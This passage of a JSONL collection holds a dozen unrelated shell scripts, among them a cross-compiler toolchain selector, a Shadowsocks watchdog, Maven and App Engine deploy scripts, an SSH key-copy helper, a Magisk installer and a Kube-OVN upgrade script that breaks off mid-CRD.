6.5.0\"\n\t\tgcc_copyright=\"2017\"\n\t\tdatestamp=\"2018.12-gcc-aarch64-linux-gnu\"\n\n\t\tbinary=\"bin/aarch64-linux-gnu-\"\n\t\t;;\n\tgcc_linaro_aarch64_gnu_7)\n\t\t#\n\t\t#https://releases.linaro.org/components/toolchain/binaries/7.1-2017.05/aarch64-linux-gnu/gcc-linaro-7.1.1-2017.05-x86_64_aarch64-linux-gnu.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/7.1-2017.08/aarch64-linux-gnu/gcc-linaro-7.1.1-2017.08-x86_64_aarch64-linux-gnu.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/7.2-2017.11/aarch64-linux-gnu/gcc-linaro-7.2.1-2017.11-x86_64_aarch64-linux-gnu.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/7.3-2018.05/aarch64-linux-gnu/gcc-linaro-7.3.1-2018.05-x86_64_aarch64-linux-gnu.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/7.4-2019.02/aarch64-linux-gnu/gcc-linaro-7.4.1-2019.02-x86_64_aarch64-linux-gnu.tar.xz\n\t\t#https://releases.linaro.org/components/toolchain/binaries/7.5-2019.12/aarch64-linux-gnu/gcc-linaro-7.5.0-2019.12-x86_64_aarch64-linux-gnu.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://releases.linaro.org/components/toolchain/binaries/7.5-2019.12/aarch64-linux-gnu/\"\n\t\tgcc_filename_prefix=\"gcc-linaro-7.5.0-2019.12-x86_64_aarch64-linux-gnu\"\n\t\tgcc_banner=\"aarch64-linux-gnu-gcc (Linaro GCC 7.5-2019.12) 7.5.0\"\n\t\tgcc_copyright=\"2017\"\n\t\tdatestamp=\"2019.12-gcc-aarch64-linux-gnu\"\n\n\t\tbinary=\"bin/aarch64-linux-gnu-\"\n\t\t;;\n\tgcc_arm_aarch64_gnu_8)\n\t\t#\n\t\t#https://developer.arm.com/-/media/Files/downloads/gnu-a/8.2-2018.08/gcc-arm-8.2-2018.08-x86_64-aarch64-linux-gnu.tar.xz\n\t\t#https://developer.arm.com/-/media/Files/downloads/gnu-a/8.2-2018.11/gcc-arm-8.2-2018.11-x86_64-aarch64-linux-gnu.tar.xz\n\t\t#https://developer.arm.com/-/media/Files/downloads/gnu-a/8.2-2019.01/gcc-arm-8.2-2019.01-x86_64-aarch64-linux-gnu.tar.xz\n\t\t#https://developer.arm.com/-/media/Files/downloads/gnu-a/8.3-2019.03/binrel/gcc-arm-8.3-2019.03-x86_64-aarch64-linux-gnu.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://developer.arm.com/-/media/Files/downloads/gnu-a/8.3-2019.03/binrel/\"\n\t\tgcc_filename_prefix=\"gcc-arm-8.3-2019.03-x86_64-aarch64-linux-gnu\"\n\t\tgcc_banner=\"aarch64-linux-gnu-gcc (GNU Toolchain for the A-profile Architecture 8.3-2019.03 (arm-rel-8.36)) 8.3.0\"\n\t\tgcc_copyright=\"2018\"\n\t\tdatestamp=\"2019.03-gcc-aarch64-linux-gnu\"\n\n\t\tbinary=\"bin/aarch64-linux-gnu-\"\n\t\t;;\n\tgcc_arm_aarch64_gnu_9)\n\t\t#\n\t\t#https://developer.arm.com/-/media/Files/downloads/gnu-a/9.2-2019.12/binrel/gcc-arm-9.2-2019.12-x86_64-aarch64-none-linux-gnu.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://developer.arm.com/-/media/Files/downloads/gnu-a/9.2-2019.12/binrel/\"\n\t\tgcc_filename_prefix=\"gcc-arm-9.2-2019.12-x86_64-aarch64-none-linux-gnu\"\n\t\tgcc_banner=\"aarch64-none-linux-gnu-gcc (GNU Toolchain for the A-profile Architecture 9.2-2019.12 (arm-9.10)) 9.2.1 20191025\"\n\t\tgcc_copyright=\"2019\"\n\t\tdatestamp=\"2019.12-gcc-aarch64-linux-gnu\"\n\n\t\tbinary=\"bin/aarch64-none-linux-gnu-\"\n\t\t;;\n\tgcc_arm_aarch64_gnu_10)\n\t\t#\n\t\t#https://developer.arm.com/-/media/Files/downloads/gnu-a/10.2-2020.11/binrel/gcc-arm-10.2-2020.11-x86_64-aarch64-none-linux-gnu.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://developer.arm.com/-/media/Files/downloads/gnu-a/10.2-2020.11/binrel/\"\n\t\tgcc_filename_prefix=\"gcc-arm-10.2-2020.11-x86_64-aarch64-none-linux-gnu\"\n\t\tgcc_banner=\"aarch64-none-linux-gnu-gcc (GNU Toolchain for the A-profile Architecture 10.2-2020.11 (arm-10.16)) 10.2.1 20201103\"\n\t\tgcc_copyright=\"2020\"\n\t\tdatestamp=\"2020.11-gcc-aarch64-linux-gnu\"\n\n\t\tbinary=\"bin/aarch64-none-linux-gnu-\"\n\t\t;;\n\tgcc_8_riscv64)\n\t\t#\n\t\t#https://mirrors.edge.kernel.org/pub/tools/crosstool/files/bin/x86_64/8.4.0/x86_64-gcc-8.4.0-nolibc-riscv64-linux.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://mirrors.edge.kernel.org/pub/tools/crosstool/files/bin/x86_64/8.4.0/\"\n\t\tgcc_filename_prefix=\"x86_64-gcc-8.4.0-nolibc-riscv64-linux\"\n\t\textracted_dir=\"gcc-8.4.0-nolibc/riscv64-linux\"\n\t\tgcc_banner=\"riscv64-linux-gcc (GCC) 8.4.0\"\n\t\tgcc_copyright=\"2018\"\n\t\tdatestamp=\"2018.8.4.0-riscv64-linux-gcc\"\n\n\t\tbinary=\"bin/riscv64-linux-\"\n\t\t;;\n\tgcc_9_riscv64)\n\t\t#\n\t\t#https://mirrors.edge.kernel.org/pub/tools/crosstool/files/bin/x86_64/9.3.0/x86_64-gcc-9.3.0-nolibc-riscv64-linux.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://mirrors.edge.kernel.org/pub/tools/crosstool/files/bin/x86_64/9.3.0/\"\n\t\tgcc_filename_prefix=\"x86_64-gcc-9.3.0-nolibc-riscv64-linux\"\n\t\textracted_dir=\"gcc-9.3.0-nolibc/riscv64-linux\"\n\t\tgcc_banner=\"riscv64-linux-gcc (GCC) 9.3.0\"\n\t\tgcc_copyright=\"2019\"\n\t\tdatestamp=\"2019.9.3.0-riscv64-linux-gcc\"\n\n\t\tbinary=\"bin/riscv64-linux-\"\n\t\t;;\n\tgcc_10_riscv64)\n\t\t#\n\t\t#https://mirrors.edge.kernel.org/pub/tools/crosstool/files/bin/x86_64/10.1.0/x86_64-gcc-10.1.0-nolibc-riscv64-linux.tar.xz\n\t\t#https://mirrors.edge.kernel.org/pub/tools/crosstool/files/bin/x86_64/10.3.0/x86_64-gcc-10.3.0-nolibc-riscv64-linux.tar.xz\n\t\t#\n\n\t\tgcc_html_path=\"https://mirrors.edge.kernel.org/pub/tools/crosstool/files/bin/x86_64/10.3.0/\"\n\t\tgcc_filename_prefix=\"x86_64-gcc-10.3.0-nolibc-riscv64-linux\"\n\t\textracted_dir=\"gcc-10.3.0-nolibc/riscv64-linux\"\n\t\tgcc_banner=\"riscv64-linux-gcc (GCC) 10.3.0\"\n\t\tgcc_copyright=\"2020\"\n\t\tdatestamp=\"2020.10.3.0-riscv64-linux-gcc\"\n\n\t\tbinary=\"bin/riscv64-linux-\"\n\t\t;;\n\t*)\n\t\techo \"bug: maintainer forgot to set:\"\n\t\techo \"toolchain=\\\"xzy\\\" in version.sh\"\n\t\texit 1\n\t\t;;\n\tesac\n\n\tdl_gcc_generic\n}\n\nif [ \"x${CC}\" = \"x\" ] && [ \"x${ARCH}\" != \"xarmv7l\" ] ; then\n\tgcc_toolchain\nfi\n\nunset check\nif [ \"x${KERNEL_ARCH}\" = \"xarm\" ] ; then\n\tcheck=\"arm\"\nfi\nif [ \"x${KERNEL_ARCH}\" = \"xarm64\" ] ; then\n\tcheck=\"aarch64\"\nfi\nif [ \"x${KERNEL_ARCH}\" = \"xriscv\" ] ; then\n\tcheck=\"riscv\"\nfi\n\nif [ \"x${check}\" = \"x\" ] ; then\n\techo \"ERROR: fix: scripts/gcc.sh...\"\n\texit 2\nelse\n\tGCC_TEST=$(LC_ALL=C \"${CC}gcc\" -v 2>&1 | grep \"Target:\" | grep ${check} || true)\nfi\n\nif [ \"x${GCC_TEST}\" = \"x\" ] ; then\n\techo \"-----------------------------\"\n\techo \"scripts/gcc: Error: The GCC Cross Compiler you setup in system.sh (CC variable) is invalid.\"\n\techo \"-----------------------------\"\n\tgcc_toolchain\nfi\n\necho \"-----------------------------\"\necho \"scripts/gcc: Using: $(LC_ALL=C \"${CC}\"gcc --version)\"\necho \"-----------------------------\"\necho \"CC=${CC}\" > \"${DIR}/.CC\""} {"text": "Swan-crond.sh1-10\n#!/usr/bin/env bash\n#=================================================================#\n# System Required: CentOS, Debian, Ubuntu #\n# Description: Check Shadowsocks Server is running or not #\n# Author: Teddysun <> #\n# Visit: https://teddysun.com/548.html #\n#=================================================================#\n\nname=(Shadowsocks Shadowsocks-Python ShadowsocksR Shadowsocks-Go Shadowsocks-libev)\npath=/var/log\n[[ ! -d ${path} ]] && mkdir -p ${path}\nlog=${path}/shadowsocks-crond.log\n\nshadowsocks_init[0]=/etc/init.d/shadowsocks\nshadowsocks_init[1]=/etc/init.d/shadowsocks-python\nshadowsocks_init[2]=/etc/init.d/shadowsocks-r\nshadowsocks_init[3]=/etc/init.d/shadowsocks-go\nshadowsocks_init[4]=/etc/init.d/shadowsocks-libev\n\ni=0\nfor init in \"${shadowsocks_init[@]}\"; do\n pid=\"\"\n if [ -f ${init} ]; then\n ss_status=$(${init} status)\n if [ $? -eq 0 ]; then\n pid=$(echo \"$ss_status\" | sed -e 's/[^0-9]*//g')\n fi\n\n if [ -z \"${pid}\" ]; then\n echo \"$(date +'%Y-%m-%d %H:%M:%S') ${name[$i]} is not running\" >> ${log}\n echo \"$(date +'%Y-%m-%d %H:%M:%S') Starting ${name[$i]}\" >> ${log}\n ${init} start &>/dev/null\n if [ $? -eq 0 ]; then\n echo \"$(date +'%Y-%m-%d %H:%M:%S') ${name[$i]} start success\" >> ${log}\n else\n echo \"$(date +'%Y-%m-%d %H:%M:%S') ${name[$i]} start failed\" >> ${log}\n fi\n else\n echo \"$(date +'%Y-%m-%d %H:%M:%S') ${name[$i]} is running with pid $pid\" >> ${log}\n fi\n \n fi\n ((i++))\ndone"} {"text": "#!/bin/bash\n#\n# Copyright 2017-2021 O2 Czech Republic, a.s.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfunction deploy() {\n\n VERSION=$1\n TRY=0\n\n echo \"Going to deploy version ${VERSION}\"\n\n mvn versions:set -DnewVersion=${VERSION}\n\n while [ $TRY -lt 3 ]; do\n CMD=\"mvn -s /tmp/settings.xml deploy -DskipTests -Prelease-snapshot -Pallow-snapshots\"\n if [ ! -z \"${RESUME}\" ]; then\n CMD=\"${CMD} $(echo $RESUME | sed \"s/.\\+\\(-rf .\\+\\)/\\1/\")\"\n fi\n echo \"Starting to deploy step $((TRY + 1)) with command ${CMD}\"\n touch output${TRY}.log\n tail -f output${TRY}.log &\n RESUME=$(${CMD} | tee output${TRY}.log | grep -A1 \"After correcting the problems, you can resume the build with the command\" | tail -1)\n if [ -z \"${RESUME}\" ]; then\n break\n fi\n TRY=\"$((TRY+1))\"\n done\n if [ $TRY -lt 3 ]; then\n echo \"Success deploying snapshot\"\n else\n echo \"Failed to deploy snapshot\"\n return 1\n fi\n\n}\n\nfunction verify_jdk() {\n JDK=$1\n\n if ! mvn -version | grep \"Java version: ${JDK}\"; then\n echo \"Failed to verify required JDK version ${JDK}\"\n return 1\n fi\n}\n\nset -eu\n\nVERSION=$(mvn org.apache.maven.plugins:maven-help-plugin:2.1.1:evaluate -Dexpression=project.version | grep SNAPSHOT | grep -v INFO)\nJDK11_VERSION=$(echo $VERSION | sed \"s/\\(.\\+\\)-SNAPSHOT/\\1-jdk11-SNAPSHOT/\")\n\nif [ -z \"${VERSION}\" ]; then\n echo \"Failed to retrieve version from repository\"\n exit 1\nfi\n\nTARGET_JDK=$([ $# -gt 0 ] && echo $1 || echo \"\")\n\nif [ -z \"${TARGET_JDK}\" ] || [ \"${TARGET_JDK}\" != \"8\" -a \"${TARGET_JDK}\" != \"11\" ]; then\n echo \"Missing target JDK argument, must be either 8 or 11\"\n exit 1\nfi\n\n\necho ${MAVEN_SETTINGS} > /tmp/settings.xml\necho ${GOOGLE_CREDENTIALS} > /tmp/google-credentials.json\n\nexport GOOGLE_APPLICATION_CREDENTIALS=/tmp/google-credentials.json\n\nRESUME=\"\"\nif echo ${VERSION} | grep SNAPSHOT >/dev/null && echo ${GITHUB_REPOSITORY} | grep O2-Czech-Republic >/dev/null; then\n\n case \"${TARGET_JDK}\" in\n\n \"8\")\n verify_jdk \"1\\.8\"\n deploy ${VERSION}\n ;;\n\n \"11\")\n verify_jdk \"11\"\n deploy ${JDK11_VERSION}\n ;;\n\n esac\n\nfi"} {"text": "JavierCabezas/pokemon-day-plays-pokemon\n#!/bin/bash\nexport DISPLAY=\":0\"\nXAUTHORITY=./.Xauthority\nxdotool key w\nxdotool key w"} {"text": "0\n#!/bin/bash\n# Runs appcfg.py update after prompting for the application name and version,\n# reading defaults from app.yaml and the ouput of git describe --tags.\n#\n# Assumes this is run from the project root directory.\n#\n# Any arguments are passed to appcfg.py e.g.\n# ./deploy.sh --oauth2\n\nset -eu\n\npushd \"$(dirname \"$0\")\"\n\nAPPLICATION=$(grep -E '^application:' app.yaml | sed 's/application: *//')\nVERSION=$(git describe --tags --long --dirty | tr '[:upper:].' '[:lower:]-')\n\nread -r -p \"Application (default '$APPLICATION'): \" user_application\nread -r -p \"Version (default '$VERSION'): \" user_version\n\nif [[ ! \"$user_application\" ]]; then\n user_application=\"$APPLICATION\"\nfi\n\nif [[ ! \"$user_version\" ]]; then\n user_version=\"$VERSION\"\nfi\n\nif [[ ! (\"$user_version\" && \"$user_application\") ]] ; then\n echo \"Please specify an application name and version for deployment.\"\n exit 1\nfi\n\necho \"Deploying '$user_application' version '$user_version'.\"\n\nnpm run build\nnpm run uglify\nappcfg.py --application \"$user_application\" --version \"$user_version\" $@ update .\n\npopd"} {"text": "#!/bin/bash\n\n#SBATCH --job-name=thg2 # create a short name for your job\n#SBATCH --account=pi-dachxiu\n#SBATCH --partition=caslake\n#SBATCH --ntasks=120 # 1 CPU core to drive GPU\n#SBATCH --cpus-per-task=4 # cpu-cores per task (>1 if multi-threaded tasks)\n#SBATCH --mem-per-cpu=10G # NOTE DO NOT USE THE --mem= OPTION \n#SBATCH --time=30:00:00 # total run time limit (HH:MM:SS)\n\necho \"Job ID: $SLURM_JOB_ID\"\necho \"Job User: $SLURM_JOB_USER\"\necho \"Num Cores: $SLURM_JOB_CPUS_PER_NODE\"\n\n\nmodule load parallel\n\n\nsrun=\"srun --exclusive -N1 -n1\"\nparallel=\"parallel --delay 0.2 -j $SLURM_NTASKS --joblog thg_run.log --resume\"\n\n# $parallel \"$srun ./single_run.sh {1} {2}\" ::: ai_hot_1_1_20_3.yaml ai_hot_1_4_20_3.yaml ai_hot_3_1_20_3.yaml ai_hot_3_4_20_3.yaml ai_sin_1_1_20_3.yaml ai_sin_1_4_20_3.yaml ai_sin_3_1_20_3.yaml ai_sin_3_4_20_3.yaml ::: {1..15}\n$parallel \"$srun ./single_run.sh {1} {2}\" ::: ai_hot_3_1_20_3.yaml ai_hot_3_4_20_3.yaml ai_sin_3_1_20_3.yaml ai_sin_3_4_20_3.yaml ::: {1..15}"} {"text": "#!/bin/bash\nset -euo pipefail\n\nJ2OBJC_VERSION=\"2.5\"\n# SHA1_CHECKSUM=e9d2ae81dfbed6610af3ae744dd0636140e3c928\n\nif [[ -d dist ]]; then\n exit\nfi\n\necho \"Fetching J2ObjC v${J2OBJC_VERSION} from https://github.com/google/j2objc/releases/download/${J2OBJC_VERSION}/j2objc-${J2OBJC_VERSION}.zip\"\ncurl -OL https://github.com/google/j2objc/releases/download/${J2OBJC_VERSION}/j2objc-${J2OBJC_VERSION}.zip\n# echo \"${SHA1_CHECKSUM} j2objc-${J2OBJC_VERSION}.zip\" | shasum -c\nunzip -o -q j2objc-${J2OBJC_VERSION}.zip\n\nJ2OBJC_PATH=j2objc-${J2OBJC_VERSION}\n\nmkdir dist\nmv $J2OBJC_PATH/include \\\n $J2OBJC_PATH/lib \\\n $J2OBJC_PATH/j2objc \\\n $J2OBJC_PATH/j2objcc \\\n dist\nrm -rf j2objc-${J2OBJC_VERSION} j2objc-${J2OBJC_VERSION}.zip\n\ntouch dist/VERSION\necho $J2OBJC_VERSION > dist/VERSION"} {"text": "# Creates Password less Login for Max OS X on most linux systems\n# Written 2013/05/01 By: \n# sh $(nvram get usb_tomato)/Scripts/BashDowner.sh\n# ============================================================================\n\n# COLOR( \"Your Text\" ) --------------------------------------------------\n# Color Function (No Logger) - 2013/04/20 - v5.1 MacOSX\nNTFY() { echo -e \"$@\"; synodsmnotify @administrators \"Terminal Message\" \"$(echo $@)\"; }\nBLK() { echo -e \"\\033[30;40;1m$@\\033[0m\"; }\nRED() { echo -e \"\\033[31;40;1m$@\\033[0m\"; }\nGRN() { echo -e \"\\033[32;40;1m$@\\033[0m\"; }\nYEL() { echo -e \"\\033[33;40;1m$@\\033[0m\"; }\nBLU() { echo -e \"\\033[34;40;1m$@\\033[0m\"; }\nMAG() { echo -e \"\\033[35;40;1m$@\\033[0m\"; }\nCYN() { echo -e \"\\033[36;40;1m$@\\033[0m\"; }\nWHT() { echo -e \"\\033[37;40;1m$@\\033[0m\"; }\nWRN() { echo -e \"\\033[31;40;1m/\\033[33;40;1m!\\033[31;40;1m\\\\ \\033[33;40;1mWARNING:\\033[37;40;1m $@ \\033[31;40;1m/\\033[33;40;1m!\\033[31;40;1m\\\\ \\033[0m $(tput bel)\"; } # \"$(tput bel)\" = BEL = Bell Sound\nPASS() { echo -e \"\\033[30;40;1m$@ \\t \\033[37;40;1m[\\033[32;40;1mPass\\033[37;40;1m]\\033[0m\"; }\nFAIL() { echo -e \"\\033[37;40;1m$@ \\t \\033[37;40;1m[\\033[31;40;1mFail\\033[37;40;1m]\\033[0m $(tput bel)\"; }\nQSTYN()\n{\n\tread -t 30 -n 1 -p \"$(echo -e \"\\033[35;40;1m(\\033[34;40;1m?\\033[35;40;1m) \\033[34;40;1mQUESTION:\\033[37;40;1m $@? \\033[37;40;1m(\\033[32;40;1my\\033[37;40;1m/\\033[31;40;1mn\\033[37;40;1m) \\033[32;40;1m:\\033[0m$(tput bel) \")\"\n\techo \" \" # Creates Newline\n}\nQST()\n{\n\tread -p \"$(echo -e \"\\033[35;40;1m(\\033[34;40;1m?\\033[35;40;1m) \\033[34;40;1mQUESTION:\\033[37;40;1m $@\\033[32;40;1m:\\033[0m$(tput bel) \")\"\n\techo \" \" # Creates Newline\n}\nBRK()\n{\n\tif [ $1 == 1 ]; then\n\t\tYEL \"***<=============>*****<=============>***\"\n\telif [ $1 == 2 ]; then\n\t\tBLU \"=========================================\"\n\telif [ $1 == 3 ]; then\n\t\tBLK \"~---------------------------------------~\"\n\telif [ $1 == 4 ]; then\n\t\tBLU \"~ - - - - - - - - - - - - - - - - - - - ~\"\n\telif [ $1 == 5 ]; then\n\t\tBLK \"~ - - - - - - - - - ~\"\n\telif [ $1 == 6 ]; then\n\t\tBLK \".........................................\"\n\telif [ $1 == 7 ]; then\n\t\tBLK \"_________________________________________\\n\"\n\telse\n\t\tWRN \"Break Formatting ERROR [ $2 ]\"\n\tfi\n}\n\n# == [ Build Keys ] ================================================\n#read -t 30 -n 1 -p \"Build New Key on Client (y/n)? []\"\nwhile true; do\n QSTYN \"Build New Key on Client [n]\"\n case $REPLY in\n [Yy]* ) YEL \"Building New Key\"; echo ssh-keygen -t rsa; break;; # On client (Mac OS X): On you host computer (not the diskstation) open a terminal and run the following command:\n [Nn]* ) BLK \"Using Current Key\"; break;;\n * ) RED \"Please answer (y/n).\";;\n esac\ndone\n\n# Pause and wait\nread -t 60 -n 1 -p \"Press any key to exit…(60 sec timeout)\"\n\n# == [ Send Keys to Server / NAS ] ================================================\n# Adds a clients id_rsa.pub to authorized_keys for user on NAS\n\nQST \"Server Hostname or IP\"\nSERVER=\"$REPLY\"\nQST \"Username on \\\"$SERVER\\\"\"\nUSERNAME=\"$REPLY\"\n\n# [ These run from workstation and connect to server ]\n# On NAS: You need to create a directory with a file containing the the authorized keys of clients being able to connect.\n# On NAS: Copy the content of your id_rsa.pub file from your Host-computer (the one you want to connect from) into the authorized_keys file.\n# On NAS: Change the file permissions of the authorized-key file.\ncat ~/.ssh/id_rsa.pub | ssh $USERNAME@$SERVER 'mkdir ~/.ssh; touch ~/.ssh/authorized_keys; cat >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 644 ~/.ssh/authorized_keys; echo \"========================\"; cat ~/.ssh/authorized_keys; echo \"========================\";'\n\n# Pause and wait\nread -t 60 -n 1 -p \"Press any key to exit…(60 sec timeout)\""} {"text": "#!/system/bin/sh\n# Niko Tweaks created by haxislancelot @ GitHub, If you're going to use some code from my module, give me the credits, I'll be grateful.\nDEBUG=true\n\nif [[ ! -e \"/sdcard/Niko Logs\" ]]; then\n rm -rf /sdcard/Niko Logs\nfi\n\nmkdir \"/sdcard/Niko Logs\"\n\nlog=/sdcard/Niko Logs/installation.log\necho \"If this file is useless to you, you can delete it.\" >> $log\n\nsleep 4\nui_print \"╭━╮╱╭╮╭━━╮╭╮╭━╮╭━━━╮\"\nui_print \"┃┃╰╮┃┃╰┫┣╯┃┃┃╭╯┃╭━╮┃\"\nui_print \"┃╭╮╰╯┃╱┃┃╱┃╰╯╯╱┃┃╱┃┃\"\nui_print \"┃┃╰╮┃┃╱┃┃╱┃╭╮┃╱┃┃╱┃┃\"\nui_print \"┃┃╱┃┃┃╭┫┣╮┃┃┃╰╮┃╰━╯┃\"\nui_print \"╰╯╱╰━╯╰━━╯╰╯╰━╯╰━━━╯\"\nui_print \"╭━━━━╮╭╮╭╮╭╮╭━━━╮╭━━━╮╭╮╭━╮╭━━━╮\"\nui_print \"┃╭╮╭╮┃┃┃┃┃┃┃┃╭━━╯┃╭━╮┃┃┃┃╭╯┃╭━╮┃\"\nui_print \"╰╯┃┃╰╯┃┃┃┃┃┃┃╰━━╮┃┃╱┃┃┃╰╯╯╱┃╰━━╮\"\nui_print \"╱╱┃┃╱╱┃╰╯╰╯┃┃╭━━╯┃╰━╯┃┃╭╮┃╱╰━━╮┃\"\nui_print \"╱╱┃┃╱╱╰╮╭╮╭╯┃╰━━╮┃╭━╮┃┃┃┃╰╮┃╰━╯┃\"\nui_print \"╱╱╰╯╱╱╱╰╯╰╯╱╰━━━╯╰╯╱╰╯╰╯╰━╯╰━━━╯\"\nui_print \"\"\nui_print \"- Niko Tweaks is a full featured Magisk module to enhance your device experience,\"\nui_print \"- Improve your gaming, ram and battery!\"\nsleep 2\nui_print \"\"\nui_print \"- Module created with much love ♥️ by haxislancelot @ GitHub.\"\nsleep 2\nui_print \"\"\nui_print \"- Thank you for trusting my work, I thank you deeply.\"\nsleep 2\nui_print \"\"\nui_print \"- Thanks to all testers and supporters of the project!\"\nui_print \"\"\nsleep 2\n\nset_permissions() {\n set_perm_recursive \"$MODPATH\"/system/bin 0 0 0777 0755\n}\n\nSKIPUNZIP=0\nunzip -qjo \"$ZIPFILE\" 'common/functions.sh' -d \"$TMPDIR\" >&2\n. \"$TMPDIR\"/functions.sh\n\nui_print \"- Installation completed successfully!\"\necho \"Installation completed successfully!\" >> $log"} {"text": "#!/bin/bash\n\nORG=$PWD\nif [ ! -e include ]; then\n echo \"Cannot find include directory\"\n exit 1\nfi\ncd include/coopy || exit 1\nfor f in `ls *.h`; do\n cp $f /tmp\n cp $f /tmp/fix_for_swig.hxx\n $ORG/fix_for_swig1.pl /tmp/fix_for_swig.hxx > $f\ndone\nls $PWD/*.h\ncd ../hx || exit 1\ngrep -v SWIGFIX Object.h > /tmp/Object.h\nsed \"s|void operator delete|void operator delete(void*){} // SWIGFIX\\n void operator delete|\" /tmp/Object.h > Object.h\nls Object.h"} {"text": "#!/bin/bash\nset -eo pipefail\n\nIMAGE=kubeovn/kube-ovn:v1.9.1\n\necho \"[Step 0/8] Update CRD\"\ncat < kube-ovn-crd-1.9.yaml\n---\napiVersion: apiextensions.k8s.io/v1\nkind: CustomResourceDefinition\nmetadata:\n name: vpc-nat-gateways.kubeovn.io\nspec:\n group: kubeovn.io\n names:\n plural: vpc-nat-gateways\n singular: vpc-nat-gateway\n shortNames:\n - vpc-nat-gw\n kind: VpcNatGateway\n listKind: VpcNatGatewayList\n scope: Cluster\n versions:\n - additionalPrinterColumns:\n - jsonPath: .spec.vpc\n name: Vpc\n type: string\n - jsonPath: .spec.subnet\n name: Subnet\n type: string\n - jsonPath: .spec.lanIp\n name: LanIP\n type: string\n name: v1\n served: true\n storage: true\n schema:\n openAPIV3Schema:\n type: object\n properties:\n spec:\n type: object\n properties:\n dnatRules:\n type: array\n items:\n type: object\n properties:\n eip:\n type: string\n externalPort:\n type: string\n internalIp:\n type: string\n internalPort:\n type: string\n protocol:\n type: string\n eips:\n type: array\n items:\n type: object\n properties:\n eipCIDR:\n type: string\n gateway:\n type: string\n floatingIpRules:\n type: array\n items:\n type: object\n properties:\n eip:\n type: string\n internalIp:\n type: string\n lanIp:\n type: string\n snatRules:\n type: array\n items:\n type: object\n properties:\n eip:\n type: string\n internalCIDR:\n type: string\n subnet:\n type: string\n vpc:\n type: string\n selector:\n type: array\n items:\n type: string\n subresources:\n status: {}\n conversion:\n strategy: None\n---\napiVersion: apiextensions.k8s.io/v1\nkind: CustomResourceDefinition\nmetadata:\n name: vpcs.kubeovn.io\nspec:\n group: kubeovn.io\n versions:\n - additionalPrinterColumns:\n - jsonPath: .status.standby\n name: Standby\n type: boolean\n - jsonPath: .status.subnets\n name: Subnets\n type: string\n - jsonPath: .spec.namespaces\n name: Namespaces\n type: string\n name: v1\n schema:\n openAPIV3Schema:\n properties:\n spec:\n properties:\n namespaces:\n items:\n type: string\n type: array\n staticRoutes:\n items:\n properties:\n policy:\n type: string\n cidr:\n type: string\n nextHopIP:\n type: string\n type: object\n type: array\n policyRoutes:\n items:\n properties:\n priority:\n type: integer\n action:\n type: string\n match:\n type: string\n nextHopIP:\n type: string\n type: object\n type: array\n type: object\n status:\n properties:\n conditions:\n items:\n properties:\n lastTransitionTime:\n type: string\n lastUpdateTime:\n type: string\n message:\n type: string\n reason:\n type: string\n status:\n type: string\n type:\n type: string\n type: object\n type: array\n default:\n type: boolean\n defaultLogicalSwitch:\n type: string\n router:\n type: string\n standby:\n type: boolean\n subnets:\n items:\n type: string\n type: array\n tcpLoadBalancer:\n type: string\n tcpSessionLoadBalancer:\n type: string\n udpLoadBalancer:\n type: string\n udpSessionLoadBalancer:\n type: string\n type: object\n type: object\n served: true\n storage: true\n subresources:\n status: {}\n names:\n kind: Vpc\n listKind: VpcList\n plural: vpcs\n shortNames:\n - vpc\n singular: vpc\n scope: Cluster\n---\napiVersion: apiextensions.k8s.io/v1\nkind: CustomResourceDefinition\nmetadata:\n name: ips.kubeovn.io\nspec:\n group: kubeovn.io\n versions:\n - name: v1\n served: true\n storage: true\n additionalPrinterColumns:\n - name: V4IP\n type: string\n jsonPath: .spec.v4IpAddress\n - name: V6IP\n type: string\n jsonPath: .spec.v6IpAddress\n - name: Mac\n type: string\n jsonPath: .spec.macAddress\n - name: Node\n type: string\n jsonPath: .spec.nodeName\n - name: Subnet\n type: string\n jsonPath: .spec.subnet\n schema:\n openAPIV3Schema:\n type: object\n properties:\n spec:\n type: object\n properties:\n podName:\n type: string\n namespace:\n type: string\n subnet:\n type: string\n attachSubnets:\n type: array\n items:\n type: string\n nodeName:\n type: string\n ipAddress:\n type: string\n v4IpAddress:\n type: string\n v6IpAddress:\n type: string\n attachIps:\n type: array\n items:\n type: string\n macAddress:\n type: string\n attachMacs:\n type: array\n items:\n type: string\n containerID:\n type: string\n scope: Cluster\n names:\n plural: ips\n singular: ip\n kind: IP\n shortNames:\n - ip\n---\napiVersion: apiextensions.k8s.io/v1\nkind: CustomResourceDefinition\nmetadata:\n name: subnets.kubeovn.io\nspec:\n group: kubeovn.io\n versions:\n - name: v1\n served: true\n storage: true\n subresources:\n status: {}\n additionalPrinterColumns:\n - name: Provider\n type: string\n jsonPath: .spec.provider\n - name: Vpc\n type: string\n jsonPath: .spec.vpc\n - name: Protocol\n type: string\n jsonPath: .spec.protocol\n - name: CIDR\n type: string\n jsonPath: .spec.cidrBlock\n - name: Private\n type: boolean\n jsonPath: .spec.private\n - name: NAT\n type: boolean\n jsonPath: .spec.natOutgoing\n - name: Default\n type: boolean\n jsonPath: .spec.default\n - name: GatewayType\n type: string\n jsonPath: .spec.gatewayType\n - name: V4Used\n type: number\n jsonPath: .status.v4usingIPs\n - name: V4Available\n type: number\n jsonPath: .status.v4availableIPs\n - name: V6Used\n type: number\n jsonPath: .status.v6usingIPs\n - name: V6Available\n type: number\n jsonPath: .status.v6availableIPs\n - name: ExcludeIPs\n type: string\n jsonPath: .spec.excludeIps\n schema:\n openAPIV3Schema:\n type: object\n properties:\n status:\n type: object\n properties:\n v4availableIPs:\n type: number\n v4usingIPs:\n type: number\n v6availableIPs:\n type: number\n v6usingIPs:\n type: number\n 